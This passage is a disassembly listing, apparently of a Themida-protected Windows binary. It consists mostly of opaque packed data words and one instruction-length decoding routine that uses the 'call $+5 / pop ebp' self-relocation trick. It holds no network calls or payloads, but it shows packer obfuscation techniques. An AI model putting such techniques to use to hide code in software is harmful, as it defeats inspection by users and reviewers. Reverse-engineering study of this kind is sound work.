		dd 91AC9216h, 0E71FB1B9h, 5D09FD2Ah, 0E003CA11h, 4C93E38Ch
		dd 89A4F614h, 0E123CC41h, 99D1FC22h, 6046957Eh,	0C2779E7h
		dd 0E71FB53Eh, 815C87ADh, 0B5705A75h, 0CDF3E71Fh, 1EB595h
		dd 54E71FB5h, 236AB677h, 0B25B605h, 9E3F42D6h, 3A014693h
		dd 0AFBF520h, 0AAC5E3C1h, 0E71F54A8h, 4E4E153Bh, 0B279BE0Fh
		dd 5917A0B5h, 98D06574h, 0B5FC486Dh, 2A003ED5h,	3181E71Fh
		dd 0EA3C0AEAh, 1F2AFBCFh, 174268E7h, 415FA6F2h,	526DB002h
		dd 175832FFh, 0E3C4EF0Fh, 0AB2394E3h, 1B534318h, 4CA7EFF0h
		dd 0D23AE71Fh, 0CC656580h, 0E00618E0h, 1D7997B5h, 4E66B7D1h
		dd 0B87FB7FEh, 0F948669Eh, 1E608AB9h, 0D1CBF6DDh, 0B496B103h
		dd 3718E0D4h, 75C1E611h, 0D09E672Eh, 2218E0C4h,	76BD0948h
		dd 4C6A95AFh, 3F86D22Eh, 10BA25Fh, 5D4A0000h, 303CA11h
		dd 6065B6B4h, 23920545h, 0A5C0E6E1h, 1520C4BCh,	2E537EC5h
		dd 7D097DEh, 0E12344C3h, 0A5C30A56h, 0CEE91666h, 0E12344FCh
		dd 611496Fh, 8EA86FB6h,	0B5F8263h, 17FC1735h, 0F7E760CEh
		dd 3D408AA5h, 0FD23E71Fh, 6D1F7D2h, 398F26E7h, 0B4CAB970h
		dd 21000007h, 0EDA888DBh, 0BA75559Eh, 8D48286Dh, 5C17F73Ch
		dd 3CE7C70Ah, 1D60B244h, 0EE37823Dh, 0BC03530Eh, 8ED521DCh
		dd 29442AAEh, 0E71FB321h, 5DA195C2h, 303CA11h, 53079C4h
		dd 6B4B8EE0h, 391960B0h, 0BEB327Eh, 0F4BBFE50h,	0AB72B507h
		dd 9AF6140Ah, 85250548h, 36288CACh, 0D84C87D6h,	31FDAF35h
		dd 0ECC06h, 3F7E0000h, 0C6E0A7F0h, 0A65B7F9Bh, 3000000h
		dd 3CA115Dh, 23DC6C3Ah,	0E0FEBEE1h, 11F13884h, 9DEC0656h
		dd 8C551C54h, 0E123DCC3h, 3550A2A2h, 0E123DC15h, 9BAFCAD6h
		dd 48E123DCh, 0A1BFEA22h, 0ADD72783h, 4FFDF20Ch, 9E921D3h
		dd 0C60D5D57h, 7BC212FFh, 0DAF00B5Dh, 2FE123CCh, 1CF4331Dh
		dd 0F91FE09Eh, 564CEDCEh, 458CDC38h, 0D589765h,	0B49899C4h
		dd 0B8E12391h, 0E20A5B9Ah, 94CD8D3h, 8FADE579h,	23F65674h
		dd 0C4EF15E1h, 28C278BAh, 0FEAD0836h, 6BBAFFFFh, 0D4266F63h
		dd 95B0CA91h, 9AC5D5FBh, 0DDF84A7Eh, 0E123CCEDh, 62D587Eh
		dd 387h, 0CA115DAEh, 0CC1C3A03h, 0F2D0E123h, 5A2166B3h
		dd 0CC0B3F5Ah, 0B2D8E123h, 0DD226F7Ah, 0B3D1FC16h, 9DD72695h
		dd 0BF9C843Fh, 9DD51E6Dh, 0BA014D72h, 8CD31FDAh, 0C7C2FCC5h
		dd 0F33FE123h, 6EC2E5ACh, 0B25F7A98h, 0B1E7604Dh, 0A543C08Bh
		dd 651C398Fh, 64676h, 1A6DB300h, 0E7307F3Ah, 0BAFF4C07h
		dd 89CE1FDAh, 599CEEA9h, 44F6CE79h, 14CFAFF2h, 0E5A080C9h
		dd 0B36E4E95h, 0BC402067h, 4C8FBBD6h, 2F5CE71Fh, 0CA115D3Bh
		dd 81C41603h, 539AE6A1h, 82C8E335h, 7E123CCh, 3F731F8Eh
		dd 0D6FCBD9Fh, 0A4F6B1ABh, 5BAD9A61h, 17645118h, 0D21E0BD2h
		dd 3A16C48Bh, 2C75C01Ch, 54134B65h, 73B80544h, 496792ACh
		dd 3A7DCF2Bh, 9BAFCA1Ch, 48E123E0h, 5DFDF722h, 3628B4D4h
		dd 2AAACh, 0DE277A00h, 30703900h, 0C1E012CBh, 0E72695B3h
		dd 6E884F98h, 86F83943h, 8C883517h, 56000002h, 0E200DE27h
		dd 23CC83C7h, 733A60E1h, 12CBCAAAh, 7B99A7E0h, 3A81CD0Ch
		dd 242E5973h, 3517870Dh, 26673h, 0B4A4100h, 97B178BFh
		dd 0EAC8116Ch, 6B5F7ACCh, 0F8E123CCh, 546FA7D2h, 0E123CC72h
		dd 0B8FB4D8Ch, 0D1ACD7F1h, 451BE4ABh, 34E012CBh, 6AC70826h
		dd 16351786h, 22Fh, 6F5B76C8h, 0FC1FCCCAh, 278FABD6h, 0C7E200DEh
		dd 0E123CC8Bh, 6B6B3258h, 0CCCCFE19h, 799FE123h, 0F532045Eh
		dd 0E611F64Fh, 12268FE5h, 0FD4092E0h, 0CEFA4936h, 0A9E4DB6Bh
		dd 36FD358Ah, 4CD5F341h, 63B2F119h, 0E39531Ah, 0A091D2F0h
		dd 0E03516D5h, 1DBh, 0CA115DAEh, 0D9226DACh, 94E0CDAEh
		dd 287C6D4Dh, 79CC806Fh, 0B1A7C0FEh, 5D414832h,	0F2D659Dh
		dd 5A6BF3F4h, 7B4268E7h, 145BE4B2h, 0B1CFDDE7h,	601FC170h
		dd 65BF3Ch, 278D0000h, 0CEFC17D3h, 9DE123CCh, 0C3E5977h
		dd 0DFE123CCh, 486381B9h, 0E75AEC5Fh, 90BAD527h, 53E714D3h
		dd 127022Dh, 0D325713Ah, 78C4E714h, 317D6A31h, 4880C717h
		dd 203E8C81h, 0EA3C6497h, 14D3FBCFh, 244268E7h,	14D3C109h
		dd 517CA2E7h, 5DD41533h, 233C5FABh, 112h, 626883D5h, 1E714E7h
		dd 5D94B0DBh, 5FA8F711h, 9765A244h, 0C800D024h,	9CB20101h
		dd 0AC8755Ah, 0F2446994h, 99E8E8AFh, 32005A19h,	91ACCA82h
		dd 0E1238DB9h, 0B4D9042Ah, 5A5A2168h, 8DDDED08h, 688EE123h
		dd 85CC183Dh, 0D0FA1567h, 93E1238Dh, 0B148426Dh, 0E12390D4h
		dd 244289D5h
		db 0D2h, 0B7h
word_594F42	dw 8993h		; DATA XREF: ___:off_438130o
		dd 2A50E123h, 0F83705FFh, 0DC3762A7h, 5F7ACC88h, 0E123896Bh
		dd 0DFEBD2F8h, 8CE12389h, 0F5102E66h, 0E75D3E20h, 59718CDEh
		dd 0AE71A27h, 0B8DEB9E4h, 0DBF6489Ah, 0E71A27EFh, 0DA9BE232h
		dd 126489B4h, 0E234EFCFh, 3C99D49Fh, 7B32398Ah,	3AA8Ch
		dd 7ED11700h, 4B94E39Eh, 1E63B06Bh, 0ED32833Eh,	0BD00520Dh
		dd 0A85232DDh, 78331356h, 4904E42Dh, 17D2B2F9h,	20A484CBh
		dd 4F2B1F3Ah, 8BB8E71Fh, 0DDF84A97h, 0E123CCEDh, 82D587Eh
		dd 0C59373B6h, 0C7F23B86h, 0F13C56A2h, 8FC7E1A8h, 0BCE63271h
		dd 4F244BF7h, 39578FE6h, 23512C1Eh, 6E99BFE1h, 115DC274h
		dd 0CA1603CAh, 430CA383h, 28E123CCh, 0C5E0FED4h, 0E75AE6B4h
		dd 5D6D88DAh, 0EE714D6h, 4B83C815h, 3F1F4520h, 9BE23271h
		dd 159FBAD4h, 0BE7D0CCAh, 5DEA0631h, 65AAF711h,	854C849Eh
		dd 9B6D3685h, 0ED43318Eh, 0A519DC2h, 6AC9DECh, 9020BC9Dh
		dd 0C3EE3585h, 0AE84D8C9h, 7707590h, 0C5EBE75Ah, 91ACFEFEh
		dd 0E71437B9h, 0D8D9042Ah, 0E714378Eh, 7AC6DE2Bh, 1A526C33h
		dd 0D1146653h, 94E5F00Ah, 0F1E7884Fh, 0EF174AD3h, 46424DA0h
		dd 0F621E0FDh, 0B879BAD8h, 0C83C606Bh, 4Ch, 2AD32796h
		dd 787A95D8h, 832E2176h, 99B4D20Ah, 0E75AAEECh,	0DAF00B17h
		dd 89E71491h, 64642B63h, 152B2415h, 74BF90CEh, 124A642Bh
		dd 0FF98E6E7h, 311E714h, 0E53776E5h, 743B84CFh,	415B225Ah
		dd 0C0250C16h, 0CC5B3C5Fh, 29000000h, 0C9E4115Dh, 0E123CC81h
		dd 0F3B5662h, 0DCE123CCh, 7F467EB6h, 36FD4092h,	0EFB6FD49h
		dd 6E89B602h, 0E123CC5Ch, 0D1B1E90Fh, 23D15D3Ah, 0C9105CE1h
		dd 9BE22EE9h, 5E85D4D4h, 0C9011CBDh, 9AE123C2h,	2E1E5974h
		dd 1064BFEAh, 0C8011C3Ah, 9BE75A47h, 50A49575h,	0E6415C7Ah
		dd 0EDE16AE5h, 3C57A9C7h, 0E12DE60Eh, 548CB7DDh, 6280C315h
		dd 81A39813h, 0F7226A46h, 0ADF042FDh, 0BDCE9DE2h, 0C0AF663Fh
		dd 1DBh, 0CFAF0248h, 9C7CC514h,	6F4F94E1h, 3E1E63B4h, 0EEE3183h
		dd 87D99D63h, 5EA96444h, 2A7A3515h, 0FC4803E3h,	6B51D5B5h
		dd 1F497A50h, 0C8BCE9E7h, 74BB0B4Ah, 8FD22449h,	61A8F4AFh
		dd 0A064B381h, 2F7059E7h, 2785A1CCh, 0C4DFFDD3h, 0E75AECDBh
		dd 0D21764A3h, 8DD6F10Bh, 0E6B66E5Ch, 0FE24FF2Ah, 25206E37h
		dd 74C1E714h, 2C9105Ch,	0FCE9B0E8h, 125F6AAFh, 7C5806CDh
		dd 94A2D55Eh, 79C80776h, 244F6930h, 6076171Ah, 0C1693Ch
		dd 5D370000h, 1603CA11h, 246381C4h, 0ADC78ED3h,	4FA1A182h
		dd 23CC1634h, 8DDCD5E1h, 0E0E10C44h, 0E123D1A7h, 0B1CF1662h
		dd 70C8F762h, 732E2BAh,	0BF06520Dh, 0C9A9F8F8h,	0BA1830A2h
		dd 0FA4EA9D4h, 0DEEB0624h, 8DE75ABBh, 0D71C4294h, 3E7C4CCh
		dd 1E38FF37h, 0C11506E6h, 88B2CDEBh, 5BE16ABCh,	86D81735h
		dd 0B6C4BD60h, 346C1C90h, 0FB478654h, 126489B4h, 8DD04CFh
		dd 0DF963FBDh, 0CEF0h, 0A2F53B00h, 6FB807C2h, 4287D48Fh
		dd 1156A762h, 0E1247631h, 0CC6E5601h, 9C57377Ah, 6D280851h
		dd 3BF6D61Dh, 44C8A8EFh, 4A07435Eh, 0B7E4E71Fh,	0C80B5DC3h
		dd 5E825BAAh, 36D8AE77h, 0A56110Bh, 5D31E3C3h, 5AACCA11h
		dd 23CC0B3Fh, 684F7EE1h, 0D8EE3C40h, 89CC1E17h,	58452651h
		dd 68A7C50Ch, 0F10BD217h, 87DBCCC6h, 24193B1h, 85628DB5h
		dd 0F87B245Bh, 4387A2C0h, 20E12372h, 29CECFFAh,	0E5E760F8h
		dd 0E40F56A6h, 1C1CE309h, 4E2FFFCDh, 2651CA9Dh,	8E6EB501h
		dd 794087D3h, 331F73B0h, 6B8965F3h, 9C7CC30Fh, 874E95E1h
		dd 3D04499Ah, 47A3C181h, 5796B4FBh, 0E4FEC50Ah,	0B804BFB9h
		dd 8BBAA71h, 47000000h,	4974BD08h, 5D36282Dh, 10FDC417h
		dd 0C9B67DC4h, 7E6B3279h, 3623EA33h, 0EDDAA1E4h, 0A491589Bh
		dd 5A470E53h, 1401C80Dh, 0C3B57CC5h, 81E18951h,	4C1h, 4E98300h
		dd 8B240C87h, 0EC832424h, 24048904h, 162368h, 240C8900h
		dd 37685053h, 5824CF09h, 0CA0C9735h, 58C38957h,	0E3C1DBF7h
		dd 0EB814304h, 0C9732C4Bh, 815BD889h, 4ECh, 24248900h
		dd 4240483h, 60096859h,	4890000h, 8418F24h, 52240C8Bh
		dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 83582434h, 0CFE904C4h
		dd 0C9FFFAF6h, 85A360AAh, 0B947F076h, 8715B87Eh, 0C503063Ch
		dd 87AAE0FFh, 728546F9h, 0FF571151h, 70AE5B41h,	0C7447A9Ch
		dd 0F7726968h, 9DD212D3h, 345B3189h, 294378BAh,	0C8E90558h
		dd 88000001h, 7	dup(88004188h),	4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 1000000h, 14h dup(0)
		dd 0C3000000h, 77ED6380h, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	3C899BEDh, 85C76006h
		dd 63C88E8h, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 3C88EC85h,	606h, 24E900h
		dd 858D0000h, 63C88F0h,	40858D50h, 50063C89h, 0E8006A56h
		dd 1Dh,	2510C483h, 0FFh, 88EC8589h, 361063Ch, 3C88ECB5h
		dd 0E8858B06h, 5D063C88h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_595676
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_595682
; ---------------------------------------------------------------------------


loc_595676:				; CODE XREF: Themida_:0059565Fj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_595682:				; CODE XREF: Themida_:00595671j
		push	ebx
		push	esi
		push	edi


loc_595685:				; CODE XREF: Themida_:005956DAj
					; Themida_:005956F6j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_595698:				; CODE XREF: Themida_:005956BFj
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 63C8A52h
		lea	ebp, [ebp+63C88C8h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5956C5
		inc	cl
		cmp	cl, 0Bh
		jb	loc_595698


loc_5956C5:				; CODE XREF: Themida_:005956B4j
		cmp	cl, 0Bh
		jz	loc_595722
		cmp	al, 66h
		jnz	loc_595703
		cmp	byte ptr [ebp-5], 0
		jnz	loc_595685
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5956FB
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_595685
; ---------------------------------------------------------------------------


loc_5956FB:				; CODE XREF: Themida_:005956E8j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_595703:				; CODE XREF: Themida_:005956D0j
		cmp	al, 67h
		jnz	loc_595685
		cmp	byte ptr [ebp-6], 0
		jnz	loc_595685
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_595685
; ---------------------------------------------------------------------------


loc_595722:				; CODE XREF: Themida_:005956C8j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_59574E
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_595753
; ---------------------------------------------------------------------------


loc_59574E:				; CODE XREF: Themida_:0059572Dj
		movzx	edi, al
		shr	edi, 1


loc_595753:				; CODE XREF: Themida_:00595749j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 63C8B0Ah
		lea	ebp, [ebp+63C87C8h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5958D5
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_595819
		dec	ecx
		jz	loc_5957FC
		dec	ecx
		jnz	loc_59586C
		cmp	byte ptr [ebp-2], 0
		jnz	loc_595868
		cmp	byte ptr [ebp-5], 0
		jz	loc_5957DB
		mov	byte ptr [ebp+0Bh], 2


loc_5957DB:				; CODE XREF: Themida_:005957D1j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 63C8B96h
		mov	dword ptr [ebp+63C88E8h], 1
		pop	ebp
		jmp	loc_59586C
; ---------------------------------------------------------------------------


loc_5957FC:				; CODE XREF: Themida_:005957B6j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_595846
		cmp	byte ptr [ebp-5], 0
		jz	loc_595846
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_595846
; ---------------------------------------------------------------------------


loc_595819:				; CODE XREF: Themida_:005957AFj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59585F
		cmp	byte ptr [ebp-5], 0
		jz	loc_59584E
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_595846
		mov	[ebp+0Bh], cl


loc_595846:				; CODE XREF: Themida_:00595800j
					; Themida_:0059580Aj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_59586C
; ---------------------------------------------------------------------------


loc_59584E:				; CODE XREF: Themida_:00595827j
		cmp	dl, 5
		jnz	loc_59586C
		mov	[ebp+0Bh], dl
		jmp	loc_59586C
; ---------------------------------------------------------------------------


loc_59585F:				; CODE XREF: Themida_:0059581Dj
		cmp	dl, 6
		jnz	loc_59586C


loc_595868:				; CODE XREF: Themida_:005957C7j
		mov	byte ptr [ebp+0Bh], 3


loc_59586C:				; CODE XREF: Themida_:005957BDj
					; Themida_:005957F7j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_59589A
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_59587C:				; CODE XREF: Themida_:00595892j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_59587C
		mov	esi, edx


loc_59589A:				; CODE XREF: Themida_:0059586Fj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5958CF
		cmp	edi, 7Fh
		ja	loc_5958CF
		test	bl, 38h
		jnz	loc_5958CF
		cmp	byte ptr [ebp-7], 0
		jz	loc_5958C9
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5958CC
; ---------------------------------------------------------------------------


loc_5958C9:				; CODE XREF: Themida_:005958BAj
		push	1
		pop	eax


loc_5958CC:				; CODE XREF: Themida_:005958C4j
		mov	[ebp-1], al


loc_5958CF:				; CODE XREF: Themida_:0059589Ej
					; Themida_:005958A7j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5958D5:				; CODE XREF: Themida_:0059577Fj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_595900
		dec	eax
		dec	eax
		jz	loc_5958F6
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_595908
; ---------------------------------------------------------------------------


loc_5958F6:				; CODE XREF: Themida_:005958E5j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_595905
; ---------------------------------------------------------------------------


loc_595900:				; CODE XREF: Themida_:005958DDj
		mov	al, [ebp-3]
		add	al, 4


loc_595905:				; CODE XREF: Themida_:005958FBj
		add	[ebp-1], al


loc_595908:				; CODE XREF: Themida_:005958F1j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_595930
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_59591B:				; CODE XREF: Themida_:0059592Aj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_59591B


loc_595930:				; CODE XREF: Themida_:00595910j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLI		db '‹Ðë-',0
		dd 0D0000000h, 9CBFAE0Dh, 0F9DFF231h, 88A7A5ADh, 0FB75528Ch
		dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 67268168h, 3B2BD14h
		dd 1A3DEAAFh, 0C79E9h, 8E426800h, 33E9063Ch, 68FFFAF1h
		dd 63C8FDDh, 0FAF129E9h, 90EC68FFh, 1FE9063Ch, 68FFFAF1h
		dd 63C91A6h, 0FAF115E9h, 927E68FFh, 0BE9063Ch, 68FFFAF1h
		dd 63C93EAh, 0FAF101E9h, 94AC68FFh, 0F7E9063Ch,	68FFFAF0h
		dd 63C96ACh, 0FAF0EDE9h, 97C968FFh, 0E3E9063Ch,	0E5FFFAF0h
		dd 0B16C4C9Fh, 7E391962h, 510CEC31h, 20DBBB00h,	0AB8BCEh
		dd 0E1247600h, 0B2FB4601h, 80C717D2h, 5299E5A0h, 0ED08EE72h
		dd 0E71F41DDh, 276D618Eh, 8DDFFDD3h, 63C7AA3Eh,	0B6E1B07Bh
		dd 602A9CB5h, 0B294FE7h, 593980CCh, 0ACA73C8Bh,	4029FC54h
		dd 25C30722h, 7AA0E71Fh, 97DE2A4Fh, 8359ADD0h, 92DB2665h
		dd 4E86B1CBh, 206BAAFCh, 25DAF0D7h, 6389E71Fh, 0B07F3738h
		dd 0D527E15Ch, 23A990BAh, 3D4A53E1h, 4D6F06BFh,	0F5D0FB33h
		dd 2672B1CFh, 546FC1DFh, 0E123C176h, 75C4CFF5h,	3907012Ch
		dd 0A168ADFAh, 0E41C65B4h, 14894B9h, 0EDC3173Ah, 0F13E7DCFh
		dd 0BB8081ACh, 0A8E75AE9h, 0D8FAB782h, 0DC933984h, 0AAAEDh
		dd 82D51B00h, 4F98E7A2h, 2267B46Fh, 0F1368742h,	0C1045611h
		dd 0AC4E36E1h, 7C37175Ah, 4D08E831h, 1BD6B6FDh,	24A888CFh
		dd 4227233Eh, 97C4E71Fh, 0CA115DA3h, 0D81B6DACh, 0A1ECF711h
		dd 4C779158h, 0DA2C6B6Bh, 0ABB6D097h, 0C9EE195Eh, 0EA17637Dh
		dd 23CCFBCFh, 0A4268E1h, 4762B4D2h, 0E123CC03h,	3B024B96h
		dd 0F3A6021h, 25F84715h, 8AC0DB3Ch, 59E1234Bh, 0FA8D1833h
		dd 7FD32E59h, 1A2A8C3h,	1B41E123h, 85AAC5E3h, 5EE75A28h
		dd 9AD21965h, 4594D3D3h, 0F01B35FCh, 1418A7EFh,	0A3F21AE7h
		dd 5D44CCB5h, 385681A9h, 0A258D91Ah, 43283C5Fh,	0F6000000h
		dd 0A0BC0B4Ah, 0ABD60E53h, 826FC50h, 5AEC80EDh,	0BE85ABE7h
		dd 14D3A9F5h, 0A6F820E7h, 0D3113954h, 0ACD2E714h, 14D385C5h
		dd 154066E7h, 9998D9F7h, 0E93C5FABh, 0C41BDB9Ah, 1944F898h
		dd 0FEDFh, 115DAD00h, 2A62A5F7h, 0E1247663h, 0B7E12D1Ah
		dd 0E500921Eh, 0E123FDE5h, 0E5456086h, 38FF37B3h, 96E5FF4Bh
		dd 8F66F66Ah, 69A1A1CBh, 53C41331h, 0C3EA8AFh, 53D82D3h
		dd 7849E0DAh, 21E1236Fh, 0F3AE8ED5h, 0F04260A7h, 2370F5D5h
		dd 255076E1h, 0D7F24444h, 0E12370F3h, 82F4A70h,	0B307013Ch
		dd 75BB6E1h, 0BA1A304Bh, 347FE123h, 0CC042AEBh,	0A01E5FAEh
		dd 833FB913h, 0DB942668h, 174215EAh, 5FBBC4DFh,	7AA0E75Ah
		dd 7F55A99Ah, 0DE0C4661h, 0B9DFE16Ah, 0C70A5C9Bh, 97DA2CE7h
		dd 0BDD011CCh, 2413CA3Fh, 90Fh,	7E73A80h, 0D4B4FD4Ch, 0A787CC19h
		dd 76569BECh, 462669BBh, 0BF11A59Bh, 96E19C7Ch,	62B26D4Dh
		dd 34803B1Bh, 0A3890DEDh, 1F434288h, 0F421E7h, 0EDDDF84Ah
		dd 34E123CCh, 0E8E1A2E7h, 708A5198h, 98DB2D38h,	678CB7D1h
		dd 75B4D215h, 21CE328h,	0D622DDD7h, 27FDAF8Fh, 0C4DFFDD3h
		dd 0E75AECDBh, 70B70700h, 90578FA9h, 14D3FFC7h,	0C6E4F2E7h
		dd 5FABAC85h, 0E4D43Ch,	4AA20000h, 4D78BF0Bh, 7795DC28h
		dd 0F32D0E28h, 0B844F955h, 0E49643Ah, 0D9BFDA4Fh, 60CD5028h
		dd 301DFE29h, 0BD49BDEh, 0E1237346h, 0AAC80F5Bh, 0ADD81F6Bh
		dd 54A6E5B3h, 5304A11h,	786A94E0h, 7D4C014Ah, 93D2F028h
		dd 1C36FD42h, 0B279C211h, 698C6D98h, 6213F15h, 0E75ADFF9h
		dd 6B5C3C62h, 0D1234117h, 0EF66647Fh, 0DF05E714h, 59E0B3B4h
		dd 4C9EE16Ah, 2D421931h, 0EE3380E1h, 264C0D27h,	0DCFA20FBh
		dd 28084B9Dh, 0DD81B6Dh, 3FBD4C58h, 7B6A21h, 71000008h
		dd 3DF8D82Bh, 0AC5A5EEh, 0DD9878BDh, 0AC67478Ch, 8C37175Ah
		dd 6DB002B4h, 3E87D28Dh, 0C53A35Eh, 0DE25712Ch,	79947AFEh
		dd 0E71F5C51h, 5DF1E512h, 0CD55E50Bh, 0DCCD124h, 0B3F6D4EFh
		dd 4F75E123h, 307C3717h, 4F646E06h, 8BC3F869h, 115DF9ABh
		dd 216DACCAh, 0E1CEAFDAh, 0DE304E95h, 23CC87C3h, 133E64E1h
		dd 0CC348219h, 4B9FE123h, 713C5775h, 0DAE76059h, 864D96E1h
		dd 0CA11616Ch, 0E9357492h, 0BB07C2A2h, 0D20A51A1h, 7FCC0B0Bh
		dd 0BD21567h, 338EB9F1h, 0B89426DFh, 8434D865h,	627F4B66h
		dd 0C6ECE71Fh, 5055708Eh, 0BE1664Ah, 743B1AE5h,	5D143FB8h
		dd 7466Eh, 1E71B700h, 0EB34833Eh, 0BE03500Bh, 8DD223DEh
		dd 5DA0F2ADh, 48F2D27Dh, 18D3B3F6h, 0E9A484CDh,	0B7725299h
		dd 0C044246Bh, 5D8BBFDAh, 2B58E71Fh, 0BE0B4A37h, 6D98B279h
		dd 0EEB5FC48h, 0A76EB501h, 96F21006h, 93E5034Ah, 0F7BE0354h
		dd 0CCD4F6DDh, 7197E123h, 0A7D21B66h, 8D240DADh, 105C3628h
		dd 2A000000h, 2125Bh, 5B98E700h, 0A55440A7h, 4A6985B0h
		dd 25917FBh, 9CEB4122h,	0EFF01B53h, 0E123CEA7h,	0C4E2B80Ch
		dd 0D3EE3585h, 0C4A64FB3h, 0B5ED18D1h, 60CAC49Ah, 9273C2E7h
		dd 8A5C8745h, 0DC02DD08h, 0EC337FBEh, 9AEC3E0Ch, 1FF14B7Fh
		dd 0BF218E7h, 0E71FF13Fh, 365B86ACh, 0B9DCA3EAh, 56718F65h
		dd 0E166D951h, 7BC0110Ah, 0E7D37843h, 0E59C3FB8h, 66EF6h
		dd 4699DF00h, 135CAB66h, 0E62B7833h, 0B5FA4B06h, 85C81AD5h
		dd 700AFAA5h, 40FBDB1Eh, 11CCACF5h, 0DF9A7AC1h,	0E86C4C93h
		dd 5EE3E702h, 5380E71Fh, 0CA115D5Fh, 0B0CA1603h, 0C0111C65h
		dd 629AB47Bh, 355DAE9Bh, 2A53D8AAh, 0F3BAF2B7h,	0A970B506h
		dd 78011FFBh, 36A5C3B9h, 9C81C9E4h, 3C62E123h, 86A0EC11h
		dd 112BF23Bh, 0DC2BF9D9h, 3725FB34h, 747EA9CBh,	362914BDh
		dd 725873C5h, 0F1E12358h, 766A0CBh, 34000000h, 1165Bh
		dd 0D3270300h, 77C3DF2Ah, 174F6930h, 0CCECDEF9h, 597FE123h
		dd 74C40321h, 214C662Dh, 59F5CEE9h, 6A76E760h, 1F417B4Fh
		dd 5A708BE7h, 9E71F41h,	0C4FC22E3h, 0FD1767A6h,	87A168ABh
		dd 0ADEC244Fh, 7F3A1A61h, 8FCEEC33h, 4431F83Fh,	4B76AEF3h
		dd 2F1B6A6Ah, 0B8E61A2Ch, 0BBC961DFh, 0A3E8CBA0h, 26606A85h
		dd 0DD03E71Fh, 2D0357B2h, 3E83D00Fh, 57987A77h,	2FB95581h
		dd 4294CCF7h, 90F5D5F0h, 5076E71Fh, 54A2425h, 0F534E15Ch
		dd 6E5C77A6h, 0FDE1231Ch, 99749FD7h, 0B4035573h, 0FBF6E805h
